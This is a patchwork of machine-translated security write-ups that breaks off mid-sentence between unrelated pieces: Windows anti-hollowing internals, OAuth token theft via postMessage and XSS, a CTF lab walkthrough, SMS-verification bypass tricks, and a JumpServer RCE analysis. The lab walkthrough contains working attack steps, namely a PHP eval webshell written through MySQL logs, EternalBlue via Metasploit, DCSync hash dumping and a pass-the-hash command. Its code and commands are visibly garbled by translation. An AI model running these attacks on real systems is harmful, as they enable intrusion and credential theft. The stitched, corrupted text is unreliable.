實現細節再次查看LdrpGetImportDescriptorForSnap:在我們已經看到的兩次檢查之後,該函數獲取主圖像的NT 標頭並調用LdrpCheckPagesForTampering 兩次。第一次發送的地址是imageNtHeaders-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT],圖像的導入表,大小為8 個字節。第二次使用NT 標頭本身的地址和大小調用該函數。如果這些頁面中的一個被認為被篡改了,LdrpMapCleanModuleView將被調用(根據名稱判斷)映射主圖像模塊的一個乾淨的視圖。

讓我們看看LdrpCheckPagesForTampering 內部,看看NTDLL 如何判斷一個頁面是否被篡改:

8.png

首先,此函數計算請求的字節範圍內的頁數(在本文的兩個示例中,該數字都是1)。然後它分配內存並使用MemoryInformationClass==4 (MemoryWorkingSetExInformation) 調用ZwQueryVirtualMemory。這個系統調用和信息類是安全人員可能不太經常看到的,工作集是一種基於物理內存頁面當前狀態來管理和優先級排序的方法,因此大多數安全人員通常不感興趣。然而,工作集確實包含一些我們感興趣的屬性。具體來說,是“共享”標誌。

我不會在這裡詳細介紹映射和共享內存,因為它們在很多其他地方都有解釋。但簡而言之,系統盡量不復制內存,因為這意味著物理內存將很快被複製的頁面填滿,主要是那些屬於圖像和DLL 的頁面,像ntdll.dll 或kernel32.dll 的系統DLL被映射到大多數係統中的進程,因此在物理內存中為每個進程單獨創建一個副本只是浪費。因此,這些圖像頁面在所有進程之間共享。也就是說,除非以任何方式修改圖像。圖像頁面使用一種稱為“寫時復制(copy-on-write)”的特殊保護,它允許頁面可寫,但如果頁面被寫入,則會在物理內存中創建一個新副本。這意味著對DLL 的本地映射所做的任何更改(例如,用戶模式掛鉤的寫入或任何數據更改)都只會影響當前進程中的DLL。

這些設置保存為可以通過NtQueryVirtualMemory 查詢的標誌,這裡使用的信息類:MemoryWorkingSetExInformation。它將在MEMORY_WORKING_SET_EX_INFORMATION 結構中返回有關查詢頁面的數據:

9.png

這個結構為你提供了被查詢的虛擬地址,以及包含頁面狀態信息的位,例如:它的有效性、保護以及它的共享狀態。有幾個不同的位與頁面的共享狀態相關:

共享——頁面是可共享的嗎?這並不一定意味著該頁當前與任何其他進程共享,但是,例如,除非進程特別請求,否則私有內存不會被共享。

ShareCount——此字段告訴你此頁面存在多少映射。對於當前未與任何其他進程共享的頁面,這將是1。對於與其他進程共享的頁面,這通常會更高。

SharedOriginal ——該標誌會告訴你該頁面是否存在映射。因此,如果一個頁面被修改,導致在物理內存中創建一個新副本,這將被設置為零,因為這不是頁面的原始映射。

此SharedOriginal 位是由LdrpCheckPagesForTampering 檢查的,以判斷此頁面是原始副本還是由於更改而創建的新副本。如果這不是原始副本,這意味著該頁面以某種方式被篡改,因此該函數將返回TRUE。 LdrpCheckPagesForTampering 對正在查詢的每個頁面運行此檢查,如果其中任何一個被篡改,則返回TRUE。

如果函數對任何檢查範圍返回TRUE,則調用LdrpMapCleanModuleView:

10.png

這個函數簡短而簡單:它使用InformationClass==89 (ProcessImageSection) 調用NtQueryInformationProcess 來獲取主圖像的部分句柄,然後使用NtMapViewOfSection 重新映射它並關閉句柄。它將新部分的地址寫入DataTableEntry-SwitchBackContect,以代替原來的篡改映射。

為什麼該特性特別選擇檢查這兩個範圍——導入表和NT 標頭?這是因為這兩個地方經常會成為試圖虛化進程的攻擊者的目標。如果主圖像未映射並被惡意圖像替換,則NT 標頭將不同並被視為已篡改。進程空心化(Process hollowing)還可以篡改導入表,以指向與進程預期不同的函數。所以,這主要是一個反空心化的功能,目標是發現主圖像中的篡改企圖,並用一個沒有被篡改的新圖像副本替換它。

功能限制不幸的是,此功能相對有限。你可以啟用或禁用它,僅此而已。實現緩解的函數是內部調用,不能在外部調用。因此,例如,除非你自己編寫代碼(並手動映射模塊,因為這些部分的句柄不方便地存儲在任何地方),否則不可能將緩解擴展到其他模塊。此外,此緩解不包含日誌記錄或ETW 事件。當緩解通知在主圖像中被篡改時,它會靜默映射並使用新副本,並且不會留下任何痕跡供安全產品或團隊查找。唯一的提示是NtMapViewOfSection 將再次為主圖像調用並生成ETW 事件和內核回調。但這很可能會被忽視,因為它並不一定意味著發生了不好的事情,並且可能不會導致任何警報或對可能是真正的攻擊的重大調查。

從好的方面來說,這種緩解非常簡單和有用,如果你想實現它,則很容易模仿,例如檢測放置在你的進程上的鉤子並映射一個新的、未掛鉤的頁面副本以供使用。你可以這樣做,而不是使用直接系統調用!

該緩解措施有人使用過嗎?在WinDbg 中運行查詢,我沒有發現任何啟用模塊篡改保護的進程的結果。經過一番探索,我設法找到了一個啟用此功能的進程:SystemSettingsAdminFlows.exe。此過程在你打開Windows 設置菜單中的應用程序-可選功能時執行。我不知道為什麼這個特定的進程會使用這種緩解措施,或者為什麼它是唯一一個這樣做的,但這是迄今為止我設法找到的唯一一個啟用模塊篡改保護的過程。

我們在上一篇文章中介紹了響應類型,如何通過postMessage 竊取令牌以及小工具1,本文接著講小工具2、小工具3,以及洩露URL 的其他途徑。

小工具2:示例1,從沙盒框架中竊取window.name我在5 月12 日報告了使用這個小工具在野外發現的第一條鏈:

20.png

巧合的是,兩天后的5 月14 日,Youssef Sammouda 發表了一篇很棒的博文,解釋了他接管使用Gmail 的Facebook 帳戶的方法。這篇博文描述了我發現的類似流程。但是,該錯誤並不是要破壞OAuth-dance,而是通過使用允許加載任意javascript 的iframe:d 沙盒域來洩露受害者最終訪問的URL。沙盒訪問URL 中的敏感數據的原因是它在加載iframe 時附加到沙盒URL。

不過,我發現的案例有點不同。

第一個是在OAuth-dance結束的頁面上加載iframe。 iframe是window.location-object的json字符串版本。這是一種舊的跨域傳輸數據的方法,因為iframe中的頁面可以得到由父節點設置的自己的window.name:

21.png

在iframe中加載的域也有一個簡單的XSS:

22.png

正如Youssef解釋的那樣,如果你在一個窗口的一個域上有一個XSS,那麼如果窗口之間存在父/子/開啟者關係,則該窗口可以到達同源的其他窗口。

在示例中,我做了以下操作:

1.創建了一個惡意頁面,該頁面嵌入了沙盒的iframe,XSS 加載了我自己的腳本:

23.png

2.在沙盒中加載腳本時,我將內容替換為受害者使用的鏈接:

24.png

我還啟動了一個腳本,以檢查鏈接是否已打開,並且我想訪問的iframe 是否存在以獲取iframe 上設置的window.name 與攻擊者頁面上的iframe 相同的來源:

25.png

3.然後,攻擊者頁面可以只偵聽我們剛剛發送的帶有window.name 的消息:

26.png

小工具2:示例2,帶有XSS + 父源檢查的iframe第二個示例是使用postMessage 將iframe 加載到具有XSS 的不太好用的路徑上,但僅允許來自加載它的父窗口的消息。當它在給父窗口的消息中請求initConfig 時,location.href 被發送到iframe。

主窗口像這樣加載iframe:

27.png

內容如下所示,這比實際情況要簡單得多,只是為了更好地解釋攻擊:

28.png

在這種情況下,我可以執行與第一個示例類似的方法:

1.創建一個嵌入沙盒iframe 的惡意頁面,附加onload 以在加載iframe 時觸發腳本。

29.png

2.由於惡意頁面是iframe 的父級,它可以向iframe 發送消息以使用postMessage 將我們的腳本加載到沙盒的來源:

30.png

3.在沙盒中加載腳本時,我將內容替換為受害者的鏈接:

31.png

我還啟動了一個腳本,以檢查鏈接是否已打開以及我想要訪問的iframe 是否存在,以便在其中運行javascript 從我的iframe 到主窗口。然後,我在惡意窗口中附加了一個postMessage 偵聽器,該偵聽器將消息傳遞回我的iframe:

32.png

4.加載了iframe 的攻擊者頁面然後可以在主窗口的iframe 中偵聽我從注入的postMessage-listener 代理髮送的消息:

33.png

小工具3:使用API 獲取越界URL

34.png

這個小工具原來是最有趣的。把受害者送到某個地方然後從另一個地方獲取敏感數據,這讓人很滿意。

小工具3:示例1,沒有來源檢查的存儲框架第一個示例使用外部服務來跟踪數據。該服務添加了一個存儲框架:

35.png

主窗口將使用postMessage 與此iframe 對話,以發送跟踪數據,這些跟踪數據將保存在storage.html 所在的源的localStorage 中:

36.png

主窗口也可以獲取以下內容:

37.png

當iframe 在初始化時加載時,使用location.href 為用戶的最後一個位置保存了一個項:

38.png

如果你能以某種方式與這個來源對話,並讓它向你發送內容,那麼location.href 可以從這個存儲中獲取。該服務的postMessage-listener 有一個阻止列表和一個來源的允許列表。分析服務似乎允許網站定義允許或拒絕的來源:

39.png

此外,如果你有一個基於allowList 的有效來源,你還可以請求同步,這將在此窗口中向你發送對localStorage 所做的任何更改。

在將這個存儲加載到OAuth-dance 的不太好用路徑上的網站上,沒有定義allowList-origins;如果源是窗口的父級,這允許任何源與postMessage-listener 對話。該方法類似於小工具2:

1.我創建了一個惡意頁面,該頁面嵌入了存儲容器的iframe,並附加了一個onload,以便在加載iframe時觸發腳本。

40.png

2.由於惡意頁面現在是iframe的父頁面,並且在allowList中沒有定義任何起源,因此惡意頁面可以向iframe發送消息,告訴存儲發送對存儲的任何更新的消息。我還可以向惡意頁面添加一個偵聽器,以偵聽存儲中的任何同步更新:

41.png

3.惡意頁面還包含一個供受害者點擊的常規鏈接:

42.png

受害者會點擊該鏈接,通過OAuth-dance,最終進入加載跟踪腳本和存儲iframe 的不太好用路徑。存儲iframe 獲取last-url 的更新。自從localStorage 更新以來,window.storage-event 將在惡意頁面的iframe 中觸發,並且每當存儲更改時,當前正在獲取更新的惡意頁面將獲得帶有受害者當前URL 的postMessage:

43.png

小工具3:示例2,CDN 中的客戶混淆——DIY 存儲——沒有來源檢查的SVG由於分析服務本身有一個漏洞賞金,我也有興趣看看我是否可以找到一種方法來洩露已經為storage-iframe 配置正確來源的網站的URL。

當我開始在線搜索沒有客戶部分的cdn.analytics.example.com 域時,我注意到這個CDN 還包含服務客戶上傳的圖像:

44.png

我還注意到這個CDN 上有SVG 文件作為Content-type: image/svg+xml 內聯提供:

45.png

我在該服務上註冊為試用用戶,並上傳了我自己的資產,該資產也出現在CDN 上:

46.png

有趣的是,如果你隨後將特定於客戶的子域用於CDN,則仍然會提供圖像。 URL如下:

47.png

這意味著ID #94342 的客戶可以在客戶#12345 的存儲中呈現SVG 文件。

我上傳了一個帶有簡單XSS 有效負載的SVG 文件:

48.png

效果不是很好。 CDN 為img/下的所有內容添加了Content-Security-Policy: default-src 'self'-header。你還可以看到提到S3 的服務器標頭,這表明內容已上傳到S3 存儲桶:

49.png

S3 的一個有趣的事情是目錄在S3 中並不是真正的目錄。項之前的路徑稱為“前綴”。這意味著S3 不關心/是否經過url 編碼,如果你對URL 中的每個斜杠進行url 編碼,它仍然會提供內容。如果我在URL 中將img/更改為img%2f ,仍然可以解析圖像。但是,在這種情況下,CSP-header 被刪除並觸發了XSS:

50.png

然後我可以上傳一個SVG,該SVG 將創建與常規storage.html 相同形式的存儲處理程序和postMessage-listener,但允許列表為空。即使在正確定義了可以與存儲通信的允許來源的網站上,這也使我能夠進行相同類型的攻擊。

我上傳了一個看起來像這樣的SVG:

51.png

然後我可以使用與示例#1 中相同的方法,但我可以使用url 編碼的斜杠iframe 而不是iframe 的storage.html:

52.png

由於沒有網站能夠自行修補此問題,因此我向負責CDN 的分析提供商發送了一份報告:

53.png

在第三方上查看錯誤配置產生漏洞的整個想法主要是確認有多種方法來實現令牌的洩漏,並且由於第三方有漏洞賞金,這只是同一種漏洞的不同接收者,不同之處在於影響是針對分析服務的所有客戶。在這種情況下,第三方的客戶實際上有能力正確配置該工具,使其不會將數據洩露給攻擊者。然而,由於敏感數據仍被發送給第三方,所以看看是否有某種方法可以完全繞過客戶對工具的正確配置是很有趣的。

小工具3:示例3,聊天小工具API最後一個例子是基於一個出現在網站所有頁面上的聊天小工具,甚至是錯誤頁面。有多個postMessage 偵聽器,其中一個沒有適當的來源檢查,只允許你啟動聊天彈出窗口。另一個偵聽器對聊天小工具進行了嚴格的來源檢查,以接收初始化調用和當前用戶使用的當前聊天API 令牌。

54.png

聊天iframe 加載時:

1.如果chat-api-token 存在於chat-widget 的localStorage 中,它將使用postMessage 將api-token 發送給其父級。如果沒有chat-api-token 存在,它不會發送任何東西。

2.當iframe 加載後,它會向其父級發送一個帶有{'type': 'chat-widget', 'key': 'init'} 的postMessage。

如果你點擊主窗口中的聊天圖標:

1.如果chat-api-令牌還沒有被發送,那麼chat-widget會創建一個令牌,並將其放在自己的源的localStorage中,並將其postMessage發送給父窗口。

2.然後父窗口將對聊天服務進行API 調用。 API 終端被CORS 限制為為服務配置的特定網站。你必須使用chat-api-token 為API 調用提供有效的Origin-header 以允許發送請求。

3.來自主窗口的API 調用將包含location.href 並使用chat-api-token 將其註冊為訪問者的“當前頁面”。然後,響應將包含一些令牌,以連接到一個websocket來啟動聊天會話:

55.png

在這個例子中,我意識到chat-api-token 的通知總是會通知給chat-widget iframe 的父級,如果我得到了chat-api-token,我可以使用令牌,然後將我自己的人工Origin-header 添加到API 調用中,因為CORS-header 僅對瀏覽器很重要。這導致了以下進程:

1.創建了一個嵌入聊天小工具iframe 的惡意頁面,添加了一個postMessage-listener 來偵聽chat-api-token。此外,如果在2 秒內沒有獲得api-token,則會觸發重新加載iframe 的事件。這是為了確保我也支持從未發起聊天的受害者,並且由於我可以觸發遠程打開聊天,我首先需要chat-api-token 開始輪詢聊天API 中的數據服務器端。

56.png

2.添加了指向惡意頁面的鏈接以打開登錄流程,該流程最終將出現在帶有URL 中帶有令牌的聊天小工具的頁面上:

ターゲットマシンをオンにした後、ThinkPHPアイコンを備えたログインインターフェイスがあります。直接テストするだけです

ik5rrv4oxzo3033.pngが存在します5.0.23 RCE

l0zukody33i3034.png、PHP-7.4.3の環境を確認しましょう。Disable_Functionsをご覧ください

pcntl_alarm、pcntl_fork、pcntl_waitpid、pcntl_wait、pcntl_wifexited、pcntl_wifstopped、pcntl_wifsignaled、 pcntl_wifcontinued、pcntl_weexitstatus、pcntl_wtermsig、pcntl_wstopsig、pcntl_signal、pcntl_signal_get_ha ndler、pcntl_signal_dispatch、pcntl_get_last_error、pcntl_strerror、pcntl_sigprocmask、pcntl_sigwaitinfo、pcntl_sigtimedwait、pcntl_exec、pcntl_getpriority、pcntl_setpriority、pcntl_asynciment

lefmxmf2zzg3035.pngトランスミッションはすぐに、アリの剣の接続はwww-data許可です。

2dybdct2vo53036.png以前に従った公式アカウントの下でいくつかの記事を見つけました。 Web Security Toolsライブラリは非常に完全な《Linux提权备忘录》です

許可を与えられている猫/などを試してみてください。

l5mlmr1ymxm3037.pngこのウェブサイトはコマンドの標高のリファレンスを提供できます

bgbe1yabpzk3038.pngは、mysql、sudo mysql -e 'を使用して実装できます! cat /root/flag/flag01.txt 'フラグの最初の部分を取得します

43omywaba5m3039.pngifconfigチェックIP

bys3mdkv3xj3040.png fscanをパスアップしてセクションC、/FSCAN_AMD64 -H 172.22.1.1/24でスキャンして、結果は現在のresult.txtになりました。

172.22.1.18:3306オープン

172.22.1.2:88オープン

172.22.1.21:445オープン

172.22.1.18:445オープン

172.22.1.2:445オープン

172.22.1.21:139オープン

172.22.1.18:139オープン

172.22.1.2:139オープン

172.22.1.21:135オープン

172.22.1.18:135オープン

172.22.1.2:135オープン

172.22.1.18:80オープン

172.22.1.15:80オープン

172.22.1.15:22オープン

[*] 172.22.1.2(Windows Server 2016 Datacenter 14393)

[+] 172.22.1.21 MS17-010(Windows 7 Professional 7601サービスパック1)

[+] NetInfo:

[*] 172.22.1.21

[ - ] Xiaorang-Win7

[ - ] 172.22.1.21

[+] NetInfo:

[*] 172.22.1.18

[ - ] Xiaorang-OA01

[ - ] 172.22.1.18

[+] NetInfo:

[*] 172.22.1.2

[ - ] DC01

[ - ] 172.22.1.2

[*] 172.22.1.2 [+] DC Xiaorang \ DC01 Windows Server 2016 DataCenter 14393

[*] webtitle:3333333333333:200 code:200 len:5578 title33:bootstrapマテリアル管理者

[*] 172.22.1.18 Xiaorang \ Xiaorang-OA01 Windows Server 2012 R2 DataCenter 9600

[*] 172.22.1.21 __msbrowse __ \ xiaorang-win7 Windows7 Professional 7601サービスパック1

[*] webtitle:333333333333:3:302 len:0 title:NoneジャンプURL: 3http://172.22.1.18?M=ロギー

[*] webtitle:3333333333333333http://172.22.1.18?M=Login Code:200 LEN3:4012 Title:Signコールコラボレーションオフィスシステム

[+] http://172.22.1.15 POC-YAML-THINKPHP5023-METHOD-RCE POC1

.15は見る必要はありません。21は永遠の青の存在を伴うWin7、18はOAを呼び出すシステムであり、2はドメインコントロールです

NPS+Proxifier Proxyを使用した転送、最初に.18を見てください

pndzxcefyak3041.pngそれを行うには2つの方法があります。 1つ目は、コールOAのファイルアップロード脆弱性をターゲットにすることです。 Master Y4Tackerの記事を参照できます。弱いパスワードadmin/admin123を使用してログインし、Expを入力してください。

2番目の方法は、 /phpmyAdminを使用して直接ルート /ルートをログインし、ログを使用してWebShellに書き込むことです。

dwy4ucpfing3042.png最初のステップは、「一般%」のようなショー変数を実行することです。ログが有効になっているかどうかを確認し、保存されているログの場所を確認します

wx2wq5iloax3043.png秒ステップSET GLOBAL general_log=on;ログをオンにします

3qcksgdro213044.png 3番目のステップは、ログ保存場所を設定するためにグローバルgeneral_log_fileを設定します

z03oex2mrph3045.png最後に '?php eval($ _ post [cmd]);

ut03iym0s3a3046.png次に、21はWin7マシンです。 MS17-010に電話することができます。試した後、ネットワークを離れることはできません。フォワードモニタリングを使用できます。

最初にプロキシをハングアップし、Proxychains MSFConsoleをSocks5トラフィックに移動し、次にExploit/Windows/SMB/MS17_010_ETERNALBLUE=SET PAYLOAD WINDOWS/X64/METERPRETER/BIND_TCP_UUID=SET RHOSTS 172.22.1.21=ExploitiTloit

j5bwwrqm1zo3047.png正のメータープレターシェルを取得した後、次のステップはDCSYNCを使用することです

DCSYNCの導入については、この記事を参照できます。最大の機能は、ドメインコントロールにログインせずにドメイン制御に関するデータを取得できることです。

KiwiをMSFの下に直接ロードし、その後Kiwi_cmd 'lsadump3:3360dcsync /domain:xiaorang.lab /all /csv' exitエクスポートハッシュハッシュをドメイン内のすべてのユーザーに対してハッシュします。

xzabqfaexh23048.pngは.2の前にスキャンされ、445ポートを開きます。 SMBハッシュを使用して、Kaliに付属のCrackMapexecで直接渡します。プロキシチャインCrackmapexec SMB 172.22.1.2 -U管理者-H 10CF89A850FB1CDBE6BB432B859164C8 -D XIAORANG.LAB -X '$ CMD'

haje1iuu2y13049.pngオリジナルリンク:http://119.45.47.125/index.php/2022/11/24/yunjing-4/

当事者Aのビジネスをテストしたり、SRCやその他のサービスを掘ったりするとき、SMS検証が送信される場所に遭遇することがよくあります。考えることができるのは、ユーザーによるログイン、SMS爆撃、およびパスワードを変更するユーザーなどの論理的な脆弱性です。また、単純な脆弱性には、明確な思考分析が必要であり、いくつかのSMSを使用して複数のバイパスケースを爆撃して共有し、リスクと低リスクを使用してそれらを収集します。 1。パラメーター汚染バイパスパラメーター汚染、つまり、背景にテキストメッセージを送信するとき、数の一部が取得されます。他の文字を混ぜると、送信された携帯電話番号の制限の確認をバイパスします:1049983-20230406203235605-677102358.jpg2。可変汚染は、いわゆる可変汚染をバイパスします。おそらく、背景が最初の変数のコンテンツをチェックし、値として扱われますが、データパケットが背景に渡されると、パラメーター名が同じ場合、2番目、3番目、4番目、および最後のパラメーターがベンチマークとして渡されるため、バックエンドの制限は:01011049983-20230406203237344-2127976321.jpg3に渡されます。携帯電話番号をバイパスするデータ長の定義は11桁ですが、背景は、123=0123=00123などの送信された携帯電話番号の長さを確認しません。この方法は、携帯電話番号をバイパスするために使用されます。確認コードを送信するとき、フロントエンドは状態をもたらします。この状態を変更することにより、システムの制限をバイパスできます。たとえば、登録されたユーザーはテキストメッセージを送信することはできません。反対に、未登録のユーザーはテキストメッセージを送信できません。フレーズはTrue 1049983-20230406203238839-1649026213.jpg5に変更されます。クッキーは、薬を変えないようにスープを迂回して置き換えます。 Cookieのユーザーの資格情報を確認します。 Cookieのいくつかのパラメーターを変更することにより、バイパスをバイパスして携帯電話番号を送信/登録してテキストメッセージを送信できます:1049983-20230406203239567-527777944.jpg 1049983-20230406203240335-1564604767.jpg6。 [SPASTバイパスSMS爆撃] [画像なし] SMSを送信するときは11桁ですが、データベースはフィールドの長さを11に制限しません。元の検証はスペースを追加することでバイパスされます。ただし、バックグラウンドで番号を送信すると、有効な文字の前のフィールドが取得されるため、バイパスされた方法が得られます。 7。 8。[APIインターフェイスに基づいて] [写真なし]この脆弱性については、一般に、フロントデスクに携帯電話番号を入力し、リクエスト1を送信して背景に移動して、送信要求を実行できるかどうかを判断します。

2。そうでない場合は、誤ったものまたはエラーを返します。成功した場合は、trueまたは成功を返します。返されたものを見つけてください。

この種の脆弱性は、インターフェイスに記載されている場合があります。

0はじめに

Jumpserverは、オープンソースのバスティオンマシンであり、4A仕様に準拠した運用およびメンテナンスセキュリティ監査システムです。素人の用語では、それはスプリングボードマシンです。

2021年1月15日、Jumpserverはセキュリティアップデートをリリースし、リモートコマンドの実行の脆弱性を修正しました。一部のJumpserverインターフェイスには認可制限がないため、攻撃者は悪意のあるリクエストを作成して機密情報を取得するか、すべてのマシンを制御して任意のコマンドを実行するための関連操作を実行できます。

影響バージョン:

JumpServer V2.6.2JumpServer V2.5.4JumpServer V2.4.5JumpServer=V1.5.9

1。脆弱性分析

修理コードのコミットレコードを参照してください: https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e

CeleryLogWebsocketクラスの接続がID認証で追加されたことがわかりました。

インポート時間

OSをインポートします

スレッドをインポートします

JSONをインポートします

common.utilsからImport get_loggerから

from .celery.utilsインポートget_celery_task_log_path

.ansible.utilsからImport get_ansible_task_log_pathから

from Channels.generic.websocketインポートjsonwebsocketconsumer

logger=get_logger(__ name__)

クラスTaskLogWebsocket(JSONWebsocketConsumer):

切断=false

log_types={

'Celery ': get_celery_task_log_path、

'ansible ': get_ansible_task_log_path

}

def connect(self):

user=self.scope ['user']

user.is_authenticatedおよびuser.is_org_admin:の場合

self.accept()

else:

self.close()

def get_log_path(self、task_id):

func=self.log_types.get(self.log_type)

func:の場合

return func(task_id)

def receive(self、text_data=none、bytes_data=none、** kwargs):

data=json.loads(text_data)

task_id=data.get( 'task')

self.log_type=data.get( 'type'、 'celry')

if task_id:

self.handle_task(task_id)

def wait_util_log_path_exist(self、task_id):

log_path=self.get_log_path(task_id)

self.disconnected:ではありません

os.path.exists(log_path):ではない場合

self.send_json({'message':'。 '、' task ': task_id}))

time.sleep(0.5)

続行します

self.send_json({'message':' \ r \ n '})

try:

logger.debug( 'タスクログPATH: {}'。フォーマット(log_path)))

task_log_f=open(log_path、 'rb')

return task_log_f

OSERROR:を除く

なしなし

def read_log_file(self、task_id):

task_log_f=self.wait_util_log_path_exist(task_id)

そうでない場合は、task_log_f:

logger.debug( 'タスクログファイルはne: {}'。フォーマット(task_id)))

戻る

task_end_mark=[]

self.disconnected:ではありません

data=task_log_f.read(4096)

data:の場合

data=data.replace(b '\ n'、b '\ r \ n')

self.send_json(

{'message': data.decode(errors=' agnore ')、' task ': task_id}

))

data.find(b'suceded in ')!=-1:の場合

task_end_mark.append(1)

data.find(bytes(task_id、 'utf8'))!=-1:の場合

task_end_mark.append(1)

Elif Len(task_end_mark)==2:

logger.debug( 'タスクログend: {}'。フォーマット(task_id)))

壊す

time.sleep(0.2)

task_log_f.close()

def handle_task(self、task_id):

logger.info( 'task id: {}'。形式(task_id)))

スレッド=threading.thread(ターゲット=self.read_log_file、args=(task_id、)))

thread.start()

def disconnect(self、close_code):

self.disconnected=true

self.close()

このクラスのHTTPインターフェイスをご覧ください。

nvlgedxlxi12885.png

このクラスを通じて、このインターフェイスのアクセスチェーンは次のとおりです。

ws/ops/tasks/log/

-TaskLogWebsocketクラスの受信関数を入力します

-TaskLogWebsocketクラスのhandle_task関数を入力します

-loglogwebsocketクラスのread_log_file関数を入力します

-Wait_util_log_path_exist tasklogwebsocketクラスの関数を入力します

-loglogwebsocketクラスのread_log_file関数を入力します

-App/ops/utls.py jt5ue15cg0d2886.pngにget_task_log_path関数を入力します

TaskIDは、送信したtext_dataから解析されるため、制御可能です。次の方法を使用して、ログファイル/opt/jumpserver/logs/jumpserver.logを読むことができます。

ws: //10.10.10.1033608080/ws/ops/tasks/log/に送信

{'task':'/opt/jumpserver/logs/jumpserver '}上記はファイル読み取りの原則です。ログファイルの読み取りには次の制限があります。

ファイルは、絶対パスを使用してのみ読み取ることができます。ログで終わるファイルのみが読み取られます。次の分析は、リモートコード実行を実装する方法です。

/opt/jumpserver/logs/gunicorn.logを読むことで、運が良ければ、ユーザーUID、システムユーザーUID、およびAsset IDを読むことができます。

ユーザーidasset idsystemユーザーID上記の3つの情報を、ユーザーがログから取得するためにWeb端末にログインしていることを確認する必要があります。それを取得した後。 /api/v1/authentication/connection-token/interfaceを介して、/apps/authentication/api/userconnectiontokenapiを入力できます

wswy0gvf51n2887.png

4bqehsjmlxj2888.png

user_id asset_id system_user_idを使用して、20秒の有効期間のみのトークンを取得できます。このトークンは、KokoコンポーネントのTTYを作成するために使用できます。

https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342

-https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#l167特定のコードは次のとおりです。

1spev0nqvf22889.png

h50wznv4z0d2890.png

完全なRCE使用手順は次のように要約されています。

WebSocket接続は許可なしに確立できます。ログファイルをWebSocketを介して読み取り、LOGファイルのシステムユーザー、ユーザー、およびアセットフィールドを取得できます。 3のフィールドを通じて、トークンを通して20秒のトークンを取得し、Koko Ttyに入ることができます。コマンドを実行する

2脆弱性の再発

2.1環境構築

ローカル環境:Xubuntu20.04JumpServerバージョン:2.6.1バージョンインストール手順:

#ダウンロード

git clone 3https://github.com/jumpserver/installer.git

CDインストーラー

#国内のDockerソースアクセラレーション

Export docker_image_prefix=docker.mirrors.ustc.edu.cn

#開発バージョンをインストールしてから2.6.1に切り替えます(2.6.1を直接インストールできるはずです。最初はデフォルトの開発バージョンとしてインストールされましたが、問題ではありません)

sudo su

./jmsctl.shインストール

./jmsctl.shアップグレードv2.6.1

# 起動する

./jmsctl.shフルログを再起動します

#yanq @ yanq-desk in〜/gitrepo [22:18336053] c:127

$ git clone 3https://github.com/jumpserver/installer.git

「インストーラー」へのクローニング.

remote:列挙オブジェクト: 467、完了。

remote:合計467(デルタ0)、再利用0(デルタ0)、パックリューズ467

: 100%(467/467)、95.24 kib | 182.00キブ/s、完了。

プロセス: 100%(305/305)、完了。

#yanq @ yanq-desk in〜/gitrepo [22:20:27]

$ CDインストーラー

#yanq @ yanq-desk in〜/gitrepo/installer on git:master o [22:20:30]

$ ls

Config-example.txt config_init jmsctl.sh readme.md scripts static.env utilsを作成します

#yanq @ yanq-desk in〜/gitrepo [22:18336059]

$ export docker_image_prefix=docker.mirrors.ustc.edu.cn

#yanq @ yanq in〜/github/installer on git:master o [22336003:43] c:130

$ sudo su

root@yanq:/home/yanq/github/installer#./jmsctl.shインストール

██╗██╗██╗███╗██╗███╗███╗██████╗██╗

██║██║███████████████████╔═════════════════════██║███████████████████╔═════════════════════██║

██║██║██║██║██████╔╝██║██║█████╗██████╔╝

█████████████║╚██║╚██╔╝██═══╝╚════██╔══╝╚════██╔══╝██╔═══╝██╔══╝

╚█████╔╝╚██████╔╝██║╚═╝╚═╝██║██║██║╚████╔╝███████╗██║

╚════╝╚═══╝╚════╝╚═╝╚═╝╚═╝

version: dev

1. JumpServerを構成します

1.構成ファイルを確認します

各コンポーネントは、YAML形式の代わりに環境変数構成ファイルを使用し、構成名は前のものと一致しています

構成ファイルの場所: /opt/jumpserver/config/config.txt

仕上げる

2。nginx証明書を構成します

証明書の場所は:/opt/jumpserver/config/nginx/certです

仕上げる

3。バックアップ構成ファイル

/opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52にバックアップします

仕上げる

4.ネットワークを構成します

IPv6をサポートする必要がありますか? (y/n)(デフォルトはn): n

仕上げる

5.暗号化キーを自動的に生成します

仕上げる

6.永続性ディレクトリを構成します

ログ記録などの永続的なディレクトリを変更し、最大のディスクを見つけ、 /opt /jumpserverなどのディレクトリを作成します

インストール後に:を変更できないことに注意してください。そうしないと、データベースが失われる可能性があります。

使用可能なファイルシステム容量は、使用済みの使用%マウントポイントです

udev 7.3g 0 7.3g 0% /dev

/dev /nvme0n1p2 468g 200g 245g 45% /

/dev/loop1 56m 56m 0 100%/snap/core18/1944

/dev/loop2 65m 65m 0 100%/snap/gtk-common-themes/1513

/dev/loop3 218m 218m 0 100%/snap/gnome-3-34-1804/60

/dev/loop0 56m 56m 0 100%/snap/core18/1932

/dev/loop5 32m 32m 0 100%/snap/snapd/10492

/dev/loop6 65m 65m 0 100%/snap/gtk-common-themes/1514

/dev/loop4 52m 52m 0 100%/snap/snap-store/498

/dev/loop7 52m 52m 0 100%/snap/snap-store/518

/dev/loop8 219m 219m 0 100%/snap/gnome-3-34-1804/66

/dev/loop9 32m 32m 0 100%/snap/snapd/10707

/dev/nvme0n1p1 511m 7.8m 504m 2%/boot/efi

永続的なボリュームストレージディレクトリ(デフォルトは /opt /jumpserver):を設定します

仕上げる

7. mysqlを構成します

外部mysql(y/n)を使用するかどうか(デフォルトはn): n

仕上げる

8。redisを構成します

外部redis(y/n)を使用するかどうか(デフォルトはn): n

仕上げる

2。Dockerをインストールして構成します

1。Dockerをインストールします

Dockerプログラムのダウンロードを開始します.

-2021-01-17 22:04336012--- https://Mirrors.aliyun.com/docker-ce/linux/static/statable/x86_64/docker-8.06.2-ce.tgz

ホストmirrors.aliyun.com(mirrors.aliyun.com). 180.97.148.110、101.89.125.248、58.216.16.38、

mirrors.aliyun.com(mirrors.aliyun.com)| 180.97.148.110 | :443 .接続。

HTTPリクエストが発行され、応答を待っています. 200 OK

長さ:43834194(42M)[アプリケーション/X-TAR]

: "/tmp/docker.tar.gzに節約

/tmp/docker.tar.gz 100%[======================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================

